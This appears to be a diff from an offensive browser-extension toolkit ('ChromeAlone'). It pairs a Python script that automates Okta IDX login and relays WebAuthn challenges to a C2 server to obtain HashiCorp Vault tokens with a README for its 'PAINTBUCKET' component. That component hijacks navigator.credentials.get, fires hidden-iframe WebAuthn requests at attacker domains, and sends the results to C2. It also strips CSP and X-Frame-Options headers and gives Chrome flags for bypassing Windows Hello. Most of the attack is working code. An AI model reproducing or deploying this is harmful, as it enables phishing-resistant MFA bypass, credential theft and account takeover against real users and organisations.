print("Step 1: Getting auth URL from Vault...")
|
||||
response = requests.post(vault_url, headers=headers, json=payload)
|
||||
|
||||
if response.status_code != 200:
|
||||
print(f"Error getting auth URL: {response.status_code}")
|
||||
return None
|
||||
|
||||
auth_data = response.json()
|
||||
auth_url = auth_data['data']['auth_url']
|
||||
print(f"🔑 Using auth URL: {auth_url}")
|
||||
# auth_url = "https://trial-9881677.okta.com/oauth2/default/v1/authorize?client_id=0oat1yhqlmzIGmadU697&code_challenge=1zyhQgGtPym7ahgutC3VwqcmLjAGyyh5TRn_XvLj-RE&code_challenge_method=S256&nonce=n_PQTE41dZpZsBBo4XFLBE&redirect_uri=https%3A%2F%2F76abb9d6a38b.ngrok-free.app%2Fui%2Fvault%2Fauth%2Foidc%2Foidc%2Fcallback&response_type=code&scope=openid+profile+email&state=st_rHBr28pzMMIugUtI0ABM"
|
||||
print(f"Got auth URL: {auth_url}")
|
||||
|
||||
# Step 2: Follow the auth URL to get the state token
|
||||
print("\nStep 2: Following auth URL to get state token...")
|
||||
|
||||
# Create a session early to preserve all cookies including DT
|
||||
session = requests.Session()
|
||||
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"Accept-Language": "en-US,en;q=0.5",
|
||||
"DNT": "1",
|
||||
"Referer": f"{VAULT_BASE_URL}/",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"Sec-Fetch-Dest": "document",
|
||||
"Sec-Fetch-Mode": "navigate",
|
||||
"Sec-Fetch-Site": "cross-site",
|
||||
"Sec-Fetch-User": "?1"
|
||||
}
|
||||
|
||||
response = session.get(auth_url, headers=headers)
|
||||
|
||||
if response.status_code != 200:
|
||||
print(f"Error following auth URL: {response.status_code}")
|
||||
return None
|
||||
|
||||
# Debug: Show cookies received from auth URL
|
||||
print(f"📋 Cookies received from auth URL ({len(session.cookies)} total):")
|
||||
for cookie in session.cookies:
|
||||
print(f" {cookie.name}={cookie.value[:30]}{'...' if len(cookie.value) > 30 else ''}")
|
||||
|
||||
# Extract state token from the response
|
||||
state_token = extract_state_token(response.text)
|
||||
|
||||
if not state_token:
|
||||
print("Could not extract state token from response")
|
||||
return None
|
||||
|
||||
print(f"Extracted state token: {state_token[:50]}...")
|
||||
|
||||
# Step 3: Call the introspect endpoint
|
||||
print("\nStep 3: Calling introspect endpoint...")
|
||||
|
||||
introspect_url = f"{OKTA_BASE_URL}/idp/idx/introspect"
|
||||
|
||||
headers = {
|
||||
"Accept": "application/ion+json; okta-version=1.0.0",
|
||||
"Accept-Language": "en",
|
||||
"Content-Type": "application/ion+json; okta-version=1.0.0",
|
||||
"X-Okta-User-Agent-Extended": "okta-auth-js/7.11.0 okta-signin-widget-7.33.0",
|
||||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
|
||||
"Origin": OKTA_BASE_URL,
|
||||
"DNT": "1",
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Site": "same-origin"
|
||||
}
|
||||
|
||||
payload = {
|
||||
"stateToken": state_token
|
||||
}
|
||||
|
||||
# Debug: Show cookies before introspect request
|
||||
print(f"📋 Cookies before introspect ({len(session.cookies)} total):")
|
||||
for cookie in session.cookies:
|
||||
print(f" {cookie.name}={cookie.value[:20]}...")
|
||||
|
||||
response = session.post(introspect_url, headers=headers, json=payload)
|
||||
|
||||
if response.status_code != 200:
|
||||
print(f"Error calling introspect: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
return None
|
||||
|
||||
print("Successfully called introspect endpoint!")
|
||||
introspect_data = response.json()
|
||||
|
||||
# Step 4: Call the identify endpoint with credentials
|
||||
print("\nStep 4: Calling identify endpoint with credentials...")
|
||||
|
||||
identify_url = f"{OKTA_BASE_URL}/idp/idx/identify"
|
||||
|
||||
# Extract the new stateHandle from introspect response
|
||||
state_handle = introspect_data.get('stateHandle')
|
||||
|
||||
headers = {
|
||||
"Accept": "application/json; okta-version=1.0.0",
|
||||
"Accept-Language": "en",
|
||||
"Content-Type": "application/json",
|
||||
"X-Okta-User-Agent-Extended": "okta-auth-js/7.11.0 okta-signin-widget-7.33.0",
|
||||
# "X-Device-Fingerprint": "vp7_x0b0dbi95vQeXg22pytWveCYiF1x|9aa6534f76ae4b035eb4fdb3bf11dda5faa1e765638735cceee34f35192168d4|244149bc78cafdb571d6fd63add4f442",
|
||||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
|
||||
"Origin": OKTA_BASE_URL,
|
||||
"DNT": "1",
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Site": "same-origin"
|
||||
}
|
||||
|
||||
# Hardcoded credentials as requested
|
||||
payload = {
|
||||
"identifier": USERNAME,
|
||||
"credentials": {
|
||||
"passcode": PASSWORD
|
||||
},
|
||||
"stateHandle": state_handle
|
||||
}
|
||||
|
||||
response = session.post(identify_url, headers=headers, json=payload)
|
||||
|
||||
if response.status_code != 200:
|
||||
print(f"Error calling identify: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
return None
|
||||
|
||||
print("Successfully called identify endpoint!")
|
||||
identify_data = response.json()
|
||||
|
||||
# Step 5: Call the challenge endpoint for webauthn
|
||||
print("\nStep 5: Calling challenge endpoint for webauthn...")
|
||||
|
||||
challenge_url = f"{OKTA_BASE_URL}/idp/idx/challenge"
|
||||
|
||||
# Extract webauthn authenticator ID from the identify response
|
||||
webauthn_auth_id = extract_webauthn_authenticator_id(identify_data)
|
||||
|
||||
if not webauthn_auth_id:
|
||||
print("Could not find webauthn authenticator ID in response")
|
||||
return None
|
||||
|
||||
print(f"Found webauthn authenticator ID: {webauthn_auth_id}")
|
||||
|
||||
# Update stateHandle from identify response
|
||||
state_handle = identify_data.get('stateHandle')
|
||||
|
||||
payload = {
|
||||
"authenticator": {
|
||||
"id": webauthn_auth_id
|
||||
},
|
||||
"stateHandle": state_handle
|
||||
}
|
||||
|
||||
response = session.post(challenge_url, headers=headers, json=payload)
|
||||
|
||||
if response.status_code != 200:
|
||||
print(f"Error calling challenge: {response.status_code}")
|
||||
print(f"Response: {response.text}")
|
||||
return None
|
||||
|
||||
print("Successfully called challenge endpoint!")
|
||||
challenge_data = response.json()
|
||||
|
||||
# Step 6: Format the WebAuthn challenge for the browser
|
||||
print("\nStep 6: Formatting WebAuthn challenge for browser...")
|
||||
|
||||
try:
|
||||
formatted_challenge = format_idx_webauthn_challenge_for_browser(challenge_data)
|
||||
|
||||
webauthn_response = make_webauthn_request(formatted_challenge['encoded_webauthn_options'], OKTA_DOMAIN)
|
||||
|
||||
if webauthn_response:
|
||||
print("✅ WebAuthn response received!")
|
||||
print(f"Response: {webauthn_response}")
|
||||
else:
|
||||
print("❌ No webauthn response received")
|
||||
return None
|
||||
|
||||
# Validate required fields
|
||||
required_fields = ['clientDataJSON', 'authenticatorData', 'signature']
|
||||
missing_fields = [field for field in required_fields if field not in webauthn_response]
|
||||
|
||||
print("✅ Valid WebAuthn response received!")
|
||||
print(f"Response keys: {list(webauthn_response.keys())}")
|
||||
|
||||
# Step 7: Submit to Okta IDX
|
||||
print("\n🔄 Submitting WebAuthn response to Okta IDX...")
|
||||
final_result = submit_idx_webauthn_response_to_okta(
|
||||
session,
|
||||
formatted_challenge['verification_data'],
|
||||
webauthn_response
|
||||
)
|
||||
|
||||
print("🎉 WebAuthn authentication complete!")
|
||||
|
||||
# Step 8: Handle the success redirect to complete OAuth2 flow
|
||||
print("\n🔄 Step 8: Following success redirect to complete OAuth2 flow...")
|
||||
|
||||
if final_result.get('intent') == 'LOGIN' and 'success' in final_result:
|
||||
redirect_result = handle_success_redirect(session, final_result)
|
||||
|
||||
if redirect_result and redirect_result.get('success'):
|
||||
print("🎉 OAuth2 flow completed successfully!")
|
||||
print(f"🔑 Authorization code: {redirect_result['authorization_code'][:20]}...")
|
||||
|
||||
# Check if we got the final client token - if so, we're completely done!
|
||||
if 'client_token' in redirect_result:
|
||||
print("🎉 Vault authentication completed successfully!")
|
||||
|
||||
print("\n" + "="*60)
|
||||
print("🏆 ULTIMATE SUCCESS: VAULT CLIENT TOKEN OBTAINED!")
|
||||
print("="*60)
|
||||
print(f"🔑 Client Token: {redirect_result['client_token']}")
|
||||
|
||||
if 'accessor' in redirect_result and redirect_result['accessor']:
|
||||
print(f"🆔 Accessor: {redirect_result['accessor']}")
|
||||
if 'policies' in redirect_result and redirect_result['policies']:
|
||||
print(f"📋 Policies: {redirect_result['policies']}")
|
||||
if 'lease_duration' in redirect_result and redirect_result['lease_duration']:
|
||||
print(f"⏰ Lease Duration: {redirect_result['lease_duration']} seconds")
|
||||
|
||||
print("\n✅ Authentication flow complete! You can now use this client token with Vault.")
|
||||
print("="*60)
|
||||
|
||||
# Return immediately with complete success - no need to continue!
|
||||
return {
|
||||
'session': session,
|
||||
'introspect_data': introspect_data,
|
||||
'identify_data': identify_data,
|
||||
'challenge_data': challenge_data,
|
||||
'webauthn_result': final_result,
|
||||
'oauth2_result': redirect_result,
|
||||
'state_token': state_token,
|
||||
'webauthn_auth_id': webauthn_auth_id,
|
||||
'authorization_code': redirect_result['authorization_code'],
|
||||
'vault_callback_url': redirect_result['callback_url'],
|
||||
'client_token': redirect_result.get('client_token'),
|
||||
'accessor': redirect_result.get('accessor'),
|
||||
'policies': redirect_result.get('policies'),
|
||||
'lease_duration': redirect_result.get('lease_duration'),
|
||||
'vault_result': redirect_result.get('vault_result'),
|
||||
'complete_success': True
|
||||
}
|
||||
|
||||
# If no client token yet, continue with normal flow
|
||||
print("🔄 Continuing authentication flow...")
|
||||
|
||||
# Update return data with complete flow result
|
||||
return {
|
||||
'session': session,
|
||||
'introspect_data': introspect_data,
|
||||
'identify_data': identify_data,
|
||||
'challenge_data': challenge_data,
|
||||
'webauthn_result': final_result,
|
||||
'oauth2_result': redirect_result,
|
||||
'state_token': state_token,
|
||||
'webauthn_auth_id': webauthn_auth_id,
|
||||
'authorization_code': redirect_result['authorization_code'],
|
||||
'vault_callback_url': redirect_result['callback_url'],
|
||||
'client_token': redirect_result.get('client_token'),
|
||||
'accessor': redirect_result.get('accessor'),
|
||||
'policies': redirect_result.get('policies'),
|
||||
'lease_duration': redirect_result.get('lease_duration'),
|
||||
'vault_result': redirect_result.get('vault_result')
|
||||
}
|
||||
else:
|
||||
print("⚠️ OAuth2 redirect flow encountered issues")
|
||||
if redirect_result:
|
||||
print(f"Final URL: {redirect_result.get('final_url')}")
|
||||
print(f"Status: {redirect_result.get('status_code')}")
|
||||
else:
|
||||
print("⚠️ No success redirect available - authentication may not be complete")
|
||||
|
||||
# Update return data with final result
|
||||
return {
|
||||
'session': session,
|
||||
'introspect_data': introspect_data,
|
||||
'identify_data': identify_data,
|
||||
'challenge_data': challenge_data,
|
||||
'webauthn_result': final_result,
|
||||
'state_token': state_token,
|
||||
'webauthn_auth_id': webauthn_auth_id
|
||||
}
|
||||
|
||||
except Exception as e:
|
||||
print(f"❌ Error formatting WebAuthn challenge: {e}")
|
||||
print("Returning challenge data for manual processing...")
|
||||
return {
|
||||
'session': session,
|
||||
'introspect_data': introspect_data,
|
||||
'identify_data': identify_data,
|
||||
'challenge_data': challenge_data,
|
||||
'state_token': state_token,
|
||||
'webauthn_auth_id': webauthn_auth_id
|
||||
}
|
||||
|
||||
return {
|
||||
'session': session,
|
||||
'introspect_data': introspect_data,
|
||||
'identify_data': identify_data,
|
||||
'challenge_data': challenge_data,
|
||||
'state_token': state_token,
|
||||
'webauthn_auth_id': webauthn_auth_id
|
||||
}
|
||||
|
||||
def extract_webauthn_authenticator_id(identify_data):
|
||||
"""
|
||||
Extract the webauthn authenticator ID from the identify response.
|
||||
"""
|
||||
try:
|
||||
# Look for authenticators in the response
|
||||
authenticators = identify_data.get('authenticators', {}).get('value', [])
|
||||
|
||||
for auth in authenticators:
|
||||
if auth.get('key') == 'webauthn' and auth.get('type') == 'security_key':
|
||||
return auth.get('id')
|
||||
|
||||
# Also check in authenticatorEnrollments if not found in authenticators
|
||||
enrollments = identify_data.get('authenticatorEnrollments', {}).get('value', [])
|
||||
|
||||
for enrollment in enrollments:
|
||||
if enrollment.get('key') == 'webauthn' and enrollment.get('type') == 'security_key':
|
||||
return enrollment.get('id')
|
||||
|
||||
# Check in remediation options as well
|
||||
remediation = identify_data.get('remediation', {}).get('value', [])
|
||||
|
||||
for remedy in remediation:
|
||||
if remedy.get('name') == 'select-authenticator-authenticate':
|
||||
auth_options = remedy.get('value', [])
|
||||
for option in auth_options:
|
||||
if option.get('name') == 'authenticator':
|
||||
options = option.get('options', [])
|
||||
for opt in options:
|
||||
if opt.get('label') == 'Security Key or Biometric':
|
||||
form_values = opt.get('value', {}).get('form', {}).get('value', [])
|
||||
for form_val in form_values:
|
||||
if form_val.get('name') == 'id':
|
||||
return form_val.get('value')
|
||||
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f"Error extracting webauthn authenticator ID: {e}")
|
||||
return None
|
||||
|
||||
def extract_state_token(html_content):
|
||||
"""
|
||||
Extract the state token from the HTML response.
|
||||
Handles the \x2D encoding and converts it to regular hyphens.
|
||||
"""
|
||||
# Look for the stateToken variable in the HTML
|
||||
patterns = [
|
||||
r'var stateToken = [\'"]([^\'"]*)[\'"]',
|
||||
r'stateToken[\'"]?\s*[:=]\s*[\'"]([^\'"]*)[\'"]',
|
||||
r'stateToken\s*=\s*[\'"]([^\'"]*)[\'"]'
|
||||
]
|
||||
|
||||
for pattern in patterns:
|
||||
match = re.search(pattern, html_content, re.IGNORECASE)
|
||||
if match:
|
||||
token = match.group(1)
|
||||
# Replace \x2D with hyphens
|
||||
token = token.replace('\\x2D', '-')
|
||||
# Also handle URL encoding if present
|
||||
token = unquote(token)
|
||||
return token
|
||||
|
||||
return None
|
||||
|
||||
if __name__ == "__main__":
|
||||
|
||||
print(f"🔑 Using BATTLEPLAN_BASE_URL: {BATTLEPLAN_BASE_URL}")
|
||||
print(f"🔑 Using BATTLEPLAN_AUTH: {BATTLEPLAN_AUTH}")
|
||||
print(f"🔑 Using AGENT_IP: {AGENT_IP}")
|
||||
|
||||
result = automate_okta_login()
|
||||
|
||||
if result:
|
||||
# Check if we already completed everything successfully
|
||||
if result.get('complete_success'):
|
||||
print("\n🎊 Program completed successfully!")
|
||||
print("All authentication steps have been completed and the client token has been obtained.")
|
||||
available_data = list(result.keys())
|
||||
print(f"Available data: {', '.join(available_data)}")
|
||||
else:
|
||||
print("\n" + "="*50)
|
||||
print("SUCCESS: Workflow completed successfully!")
|
||||
|
||||
if 'webauthn_result' in result:
|
||||
print("✅ WebAuthn authentication completed!")
|
||||
webauthn_result = result['webauthn_result']
|
||||
|
||||
# Check if we have a session token or authorization success
|
||||
if webauthn_result.get('intent') == 'LOGIN':
|
||||
print("🎯 Authentication successful - user is now logged in!")
|
||||
|
||||
# Check for the final client token (most important result)
|
||||
if 'client_token' in result and result['client_token']:
|
||||
print("\n" + "="*60)
|
||||
print("🏆 ULTIMATE SUCCESS: VAULT CLIENT TOKEN OBTAINED!")
|
||||
print("="*60)
|
||||
print(f"🔑 Client Token: {result['client_token']}")
|
||||
|
||||
if 'accessor' in result and result['accessor']:
|
||||
print(f"🆔 Accessor: {result['accessor']}")
|
||||
if 'policies' in result and result['policies']:
|
||||
print(f"📋 Policies: {result['policies']}")
|
||||
if 'lease_duration' in result and result['lease_duration']:
|
||||
print(f"⏰ Lease Duration: {result['lease_duration']} seconds")
|
||||
|
||||
print("\n✅ You can now use this client token to authenticate with Vault!")
|
||||
print("="*60)
|
||||
# Check for OAuth2 completion
|
||||
elif 'oauth2_result' in result and result['oauth2_result'].get('success'):
|
||||
print("🚀 OAuth2 flow completed successfully!")
|
||||
print(f"🔑 Authorization code: {result['authorization_code'][:20]}...")
|
||||
print(f"🔗 Vault callback URL: {result['vault_callback_url']}")
|
||||
if result['oauth2_result'].get('vault_error'):
|
||||
print(f"⚠️ Vault authentication error: {result['oauth2_result']['vault_error']}")
|
||||
print("💡 You may need to manually complete the Vault callback")
|
||||
elif 'authorization_code' in result:
|
||||
print(f"🔑 Authorization code: {result['authorization_code'][:20]}...")
|
||||
else:
|
||||
print("⚠️ OAuth2 flow may be incomplete")
|
||||
|
||||
# Check for session tokens or continuation URLs
|
||||
if 'sessionToken' in webauthn_result:
|
||||
print(f"🔑 Session token available: {webauthn_result['sessionToken'][:20]}...")
|
||||
|
||||
# Look for success state or next steps
|
||||
if webauthn_result.get('success'):
|
||||
print("🎉 Authentication flow has success redirect available!")
|
||||
elif 'remediation' in webauthn_result:
|
||||
print("➡️ Additional steps may be available in remediation")
|
||||
|
||||
if 'oauth2_result' not in result:
|
||||
print(f"\n📋 WebAuthn authentication result:")
|
||||
print(json.dumps({k: v for k, v in webauthn_result.items() if k != 'stateHandle'}, indent=2))
|
||||
else:
|
||||
print(f"ℹ️ Authentication status: {webauthn_result.get('intent', 'Unknown')}")
|
||||
else:
|
||||
print("⚠️ WebAuthn authentication was not completed")
|
||||
|
||||
print("You can now use the session and response data for next steps.")
|
||||
available_data = list(result.keys())
|
||||
print(f"Available data: {', '.join(available_data)}")
|
||||
print("="*50)
|
||||
else:
|
||||
print("\n" + "="*50)
|
||||
print("FAILED: Workflow did not complete successfully.")
|
||||
print("="*50)
|
||||
@@ -0,0 +1,361 @@
|
||||
# PAINTBUCKET - Web Injection & Authentication Bypass Component
|
||||
|
||||
## Overview
|
||||
PAINTBUCKET is ChromeAlone's web content manipulation component that injects additional WebAuthn authentication requests into legitimate user authentication flows. Rather than intercepting existing credentials, it creates hidden iframes that silently perform WebAuthn requests to attacker-controlled domains whenever a user authenticates to any website.
|
||||
|
||||
## What is PAINTBUCKET?
|
||||
|
||||
PAINTBUCKET provides three core injection capabilities:
|
||||
1. **WebAuthn Request Injection** - Creating hidden iframe requests that piggyback on legitimate user authentication
|
||||
2. **Cross-Domain Authentication** - Leveraging user interaction to authenticate to one attacker site per legitimate authentication
|
||||
3. **Cross-Frame Communication** - Enabling coordination between injected content and extension components
|
||||
|
||||
## Technical Deep Dive
|
||||
|
||||
### Understanding WebAuthn (FIDO2) Authentication
|
||||
|
||||
#### WebAuthn Fundamentals
|
||||
WebAuthn is a web standard for passwordless authentication that uses public key cryptography:
|
||||
|
||||
**Authentication Flow**:
|
||||
1. **Challenge Generation** - Server creates a random challenge
|
||||
2. **Credential Request** - Browser requests user authentication (biometric, PIN, hardware key)
|
||||
3. **Cryptographic Response** - Authenticator signs the challenge with a private key
|
||||
|
||||
**Security Properties**:
|
||||
- **Phishing Resistance** - Credentials are bound to specific origins (domains)
|
||||
- **Replay Protection** - Each authentication includes unique challenge data
|
||||
- **Hardware Binding** - Private keys are stored in secure hardware elements
|
||||
|
||||
#### PAINTBUCKET's WebAuthn Injection Framework
|
||||
|
||||
The system operates by injecting additional WebAuthn requests when legitimate authentication occurs:
|
||||
|
||||
**Step 1: Request Interception and Triggering**
|
||||
```javascript
|
||||
// Override navigator.credentials.get to detect legitimate requests
|
||||
navigator.credentials.get = function(options) {
|
||||
console.log('🔑 WebAuthn GET Request Intercepted:', options);
|
||||
|
||||
// Capture the legitimate request for analysis
|
||||
capturedRequests.push(serializeRequest(options));
|
||||
|
||||
// Trigger additional WebAuthn requests in hidden iframes
|
||||
createWebAuthnIframeInOtherTabs();
|
||||
|
||||
// Allow the original request to proceed normally
|
||||
return originalGet.call(this, options);
|
||||
};
|
||||
```
|
||||
|
||||
**Step 2: Hidden Iframe Creation**
|
||||
When legitimate authentication is detected, PAINTBUCKET creates hidden iframes to target additional domains:
|
||||
```javascript
|
||||
function createWebAuthnIframe(site, request) {
|
||||
const iframe = document.createElement('iframe');
|
||||
// Create iframe with WebAuthn request encoded in URL
|
||||
iframe.src = "https://" + site + "/something/that/does/not/exist/?makewebauthnrequest=" + encodeURIComponent(request);
|
||||
iframe.allow = 'publickey-credentials-get';
|
||||
|
||||
// Hide the iframe completely
|
||||
iframe.style.width = '0px';
|
||||
iframe.style.height = '0px';
|
||||
iframe.style.position = 'absolute';
|
||||
iframe.style.left = '-9999px';
|
||||
|
||||
document.body.appendChild(iframe);
|
||||
}
|
||||
```
|
||||
|
||||
**Step 3: Cross-Domain Authentication Execution**
|
||||
The hidden iframe loads with a specially crafted URL containing base64-encoded WebAuthn request data:
|
||||
```javascript
|
||||
// URL parameter processing in iframe context
|
||||
const makeWebAuthnRequest = urlParams.get('makewebauthnrequest');
|
||||
if (makeWebAuthnRequest) {
|
||||
// Decode and parse the WebAuthn request
|
||||
const requestOptions = JSON.parse(atob(makeWebAuthnRequest));
|
||||
|
||||
// Stop normal page loading and execute WebAuthn request
|
||||
window.stop();
|
||||
document.documentElement.innerHTML = '<html><body><h1>🔑 Processing WebAuthn Request...</h1></body></html>';
|
||||
|
||||
// Execute the WebAuthn request in this domain context
|
||||
navigator.credentials.get(requestOptions).then(credential => {
|
||||
// Send response back to C2 via extension messaging
|
||||
sendWebAuthnResponse(credential);
|
||||
});
|
||||
}
|
||||
```
|
||||
|
||||
### The Demo Okta Authentication Script
|
||||
|
||||
The `okta-idx-flow-automated.py` script demonstrates PAINTBUCKET's capabilities by automating a complete WebAuthn authentication flow against Okta's Identity Exchange (IDX) API. This script showcases how PAINTBUCKET can orchestrate complex authentication sequences that combine traditional credential submission with WebAuthn challenge-response cycles.
|
||||
|
||||
#### Script Architecture
|
||||
|
||||
**Core Components**:
|
||||
1. **OAuth2/OIDC Flow Management** - Handles Vault → Okta → Vault authentication chain
|
||||
2. **IDX API Integration** - Automates Okta's modern authentication API endpoints
|
||||
3. **WebAuthn Challenge Processing** - Converts Okta challenges to browser-compatible format
|
||||
4. **BATTLEPLAN Integration** - Uses the C2 infrastructure to execute WebAuthn requests
|
||||
5. **Token Exchange Completion** - Retrieves final Vault client tokens
|
||||
|
||||
#### Key Functions
|
||||
|
||||
**`automate_okta_login()`** - Main orchestration function that:
|
||||
- Initiates OAuth2 flow by requesting auth URL from Vault
|
||||
- Follows redirects to establish session state with Okta
|
||||
- Extracts state tokens and initializes IDX authentication
|
||||
- Submits username/password credentials via IDX identify endpoint
|
||||
- Triggers WebAuthn challenge through IDX challenge endpoint
|
||||
|
||||
**`format_idx_webauthn_challenge_for_browser()`** - Challenge conversion:
|
||||
```python
|
||||
# Extract challenge data from IDX response
|
||||
challenge_info = current_auth.get('contextualData', {}).get('challengeData', {})
|
||||
challenge = challenge_info.get('challenge')
|
||||
credential_id = enrollment['credentialId']
|
||||
|
||||
# Format for navigator.credentials.get()
|
||||
webauthn_request = {
|
||||
"publicKey": {
|
||||
"challenge": challenge, # Base64url encoded
|
||||
"timeout": 60000,
|
||||
"rpId": rp_id,
|
||||
"allowCredentials": [{
|
||||
"type": "public-key",
|
||||
"id": credential_id,
|
||||
"transports": ["usb", "nfc", "ble", "hybrid"]
|
||||
}],
|
||||
"userVerification": user_verification
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**`make_webauthn_request()`** - BATTLEPLAN integration:
|
||||
- Creates WebAuthn tasks via BATTLEPLAN C2 API
|
||||
- Polls for completion using task management endpoints
|
||||
- Returns structured WebAuthn response data for submission
|
||||
|
||||
**`submit_idx_webauthn_response_to_okta()`** - Response processing:
|
||||
- Converts browser WebAuthn response to IDX API format
|
||||
- Handles Okta-specific field mapping (e.g., `signatureData` vs `signature`)
|
||||
- Manages session state and stateHandle progression
|
||||
|
||||
**`handle_success_redirect()`** - OAuth2 completion:
|
||||
- Follows success redirects to complete authorization code flow
|
||||
- Extracts authorization codes from callback URLs
|
||||
- Automatically completes Vault token exchange via callback API
|
||||
|
||||
#### Platform-Specific Requirements
|
||||
|
||||
**Windows Chrome Configuration**:
|
||||
On Windows systems, Chrome must be launched with specific flags to prevent Windows Hello from interfering with hardware security key operations:
|
||||
|
||||
```bash
|
||||
chrome.exe --disable-features=WebAuthenticationUseNativeWinApi --do-not-de-elevate
|
||||
```
|
||||
|
||||
**Why These Flags Are Necessary**:
|
||||
- **`--disable-features=WebAuthenticationUseNativeWinApi`** - Prevents Chrome from using Windows' native WebAuthn API, which can conflict with direct hardware key access
|
||||
- **`--do-not-de-elevate`** - Maintains elevated privileges necessary to bypass Windows Hello integration - without this permission Chrome will be unable to interact with USB hardware security tokens. A future solution to bypass Windows Hello without Admin is currently being investigated.
|
||||
|
||||
**Platform Behavior**:
|
||||
- **Mac/Linux**: No special configuration required - hardware keys work normally
|
||||
- **Windows**: Windows Hello enforcement is more rigorous about expected WebAuthn behavior and can block simultaneous hardware key requests
|
||||
|
||||
**Security Implications**:
|
||||
- Admin permissions are required when running Chrome with these flags on Windows
|
||||
- This configuration allows PAINTBUCKET to make multiple concurrent WebAuthn requests to the same hardware key
|
||||
- Without these flags, Windows Hello will enforce single-request-per-key limitations that break the injection mechanism
|
||||
|
||||
#### Demonstration Flow
|
||||
|
||||
The complete demonstration sequence:
|
||||
1. **Vault Auth URL Request** - Script requests OAuth2 authorization URL from Vault
|
||||
2. **Okta Session Establishment** - Follows auth URL to establish session with Okta
|
||||
3. **IDX Authentication** - Submits credentials through modern IDX API endpoints
|
||||
4. **WebAuthn Challenge** - Receives and processes WebAuthn challenge from Okta
|
||||
5. **PAINTBUCKET Execution** - Challenge converted and sent to BATTLEPLAN for hardware key interaction
|
||||
6. **Response Submission** - WebAuthn response submitted back to Okta IDX
|
||||
7. **OAuth2 Completion** - Authorization code exchanged for Vault client token
|
||||
|
||||
This demonstrates how PAINTBUCKET can be integrated into complex enterprise authentication workflows where multiple services (Vault, Okta, hardware tokens) must be coordinated to achieve full authentication bypass.
|
||||
|
||||
### Content Security Policy (CSP) Bypass
|
||||
|
||||
#### Understanding CSP Protection
|
||||
Content Security Policy is a browser security mechanism that:
|
||||
- **Restricts Resource Loading** - Controls which scripts, styles, and other resources can load
|
||||
- **Prevents Injection Attacks** - Blocks inline JavaScript and eval() usage
|
||||
- **Frame Control** - Manages iframe embedding with X-Frame-Options
|
||||
|
||||
**Common CSP Directives**:
|
||||
```
|
||||
Content-Security-Policy:
|
||||
default-src 'self';
|
||||
script-src 'self' 'unsafe-inline';
|
||||
frame-ancestors 'none';
|
||||
```
|
||||
|
||||
#### PAINTBUCKET's CSP Bypass Mechanism
|
||||
|
||||
The system uses Chrome's `declarativeNetRequest` API to modify HTTP headers:
|
||||
|
||||
**Step 1: Header Removal Rules**
|
||||
```javascript
|
||||
// Remove CSP headers that would block injection
|
||||
const rules = [
|
||||
{
|
||||
id: 1,
|
||||
priority: 1,
|
||||
action: {
|
||||
type: "modifyHeaders",
|
||||
responseHeaders: [
|
||||
{
|
||||
header: "content-security-policy",
|
||||
operation: "remove"
|
||||
}
|
||||
]
|
||||
},
|
||||
condition: {
|
||||
resourceTypes: ["main_frame", "sub_frame"]
|
||||
}
|
||||
}
|
||||
];
|
||||
```
|
||||
|
||||
**Step 2: Dynamic Rule Application**
|
||||
The extension dynamically applies these rules to all web requests:
|
||||
- Removes `Content-Security-Policy` headers
|
||||
- Removes `Content-Security-Policy-Report-Only` headers
|
||||
- Removes `X-Frame-Options` headers
|
||||
- Disables other injection prevention mechanisms
|
||||
|
||||
### Cross-Frame Communication Bridge
|
||||
|
||||
#### The Challenge of Browser Isolation
|
||||
Modern browsers isolate different execution contexts:
|
||||
- **Content Scripts** - Run in isolated worlds with limited DOM access
|
||||
- **Main World** - Where legitimate website JavaScript executes
|
||||
- **Extension Context** - Has elevated privileges but can't directly access page content
|
||||
|
||||
#### PAINTBUCKET's Communication Architecture
|
||||
|
||||
**Component 1: Main World Injection (`inject.js`)**
|
||||
Runs in the same context as the target website:
|
||||
```javascript
|
||||
// Intercept WebAuthn calls in the main world
|
||||
function interceptWebAuthnRequest(requestData) {
|
||||
// Send to isolated world via window messaging
|
||||
window.postMessage({
|
||||
type: 'MAIN_TO_EXTENSION',
|
||||
payload: {
|
||||
type: 'webauthn_request',
|
||||
data: requestData,
|
||||
requestId: generateRequestId()
|
||||
}
|
||||
}, '*');
|
||||
}
|
||||
```
|
||||
|
||||
**Component 2: Communication Bridge (`maintoisolated.js`)**
|
||||
Runs in the isolated content script world:
|
||||
```javascript
|
||||
// Listen for messages from main world
|
||||
window.addEventListener('message', (event) => {
|
||||
if (event.data.type === 'MAIN_TO_EXTENSION') {
|
||||
// Forward to extension background script
|
||||
chrome.runtime.sendMessage(event.data.payload, (response) => {
|
||||
// Send response back to main world
|
||||
window.postMessage({
|
||||
type: 'EXTENSION_TO_MAIN',
|
||||
messageId: event.data.payload.messageId,
|
||||
data: response
|
||||
}, '*');
|
||||
});
|
||||
}
|
||||
});
|
||||
```
|
||||
|
||||
**Component 3: Extension Background Processing**
|
||||
Receives data with full extension privileges:
|
||||
- Processes intercepted WebAuthn requests
|
||||
- Communicates with C2 server
|
||||
- Manages credential storage and replay
|
||||
- Coordinates with other ChromeAlone components
|
||||
|
||||
### Cross-Domain WebAuthn Injection Implementation
|
||||
|
||||
#### Single Active Request Management
|
||||
PAINTBUCKET maintains only one active WebAuthn request for injection at any time to simplify implementation and handle request expiration:
|
||||
```javascript
|
||||
// Extension background script tracks single active request
|
||||
let activeWebAuthnRequest = null;
|
||||
const targetDomains = [
|
||||
"attacker-site1.com",
|
||||
"attacker-site2.com",
|
||||
"compromised-partner.com"
|
||||
];
|
||||
|
||||
// When legitimate auth detected, replace any existing active request
|
||||
function setActiveWebAuthnRequest(legitimateRequest) {
|
||||
